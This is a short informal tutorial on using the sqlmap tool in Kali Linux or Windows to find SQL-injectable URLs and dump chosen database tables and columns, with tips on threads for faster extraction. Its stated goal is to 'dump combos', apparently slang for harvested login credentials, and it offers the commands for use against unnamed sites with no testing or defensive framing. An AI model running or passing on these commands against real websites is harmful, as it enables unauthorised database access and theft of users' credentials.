today i will show how to use sqlmap in kali linux
or windows
to dump combos in sqlmap we need to check url vulnerable or not
kali linux (terminal): sqlmap -u"url"
windows ( command prompt ): python sqlmap.py -u"url"

sqlmap -u "url" -D databasename -T tablename -C column1,column2 --dump --threads=10 --eta
--eta for time
u can also add threads now 1 running so its dumping in 150 mins or it dump in 10 min if  i use 10 threads
for threads --threads=10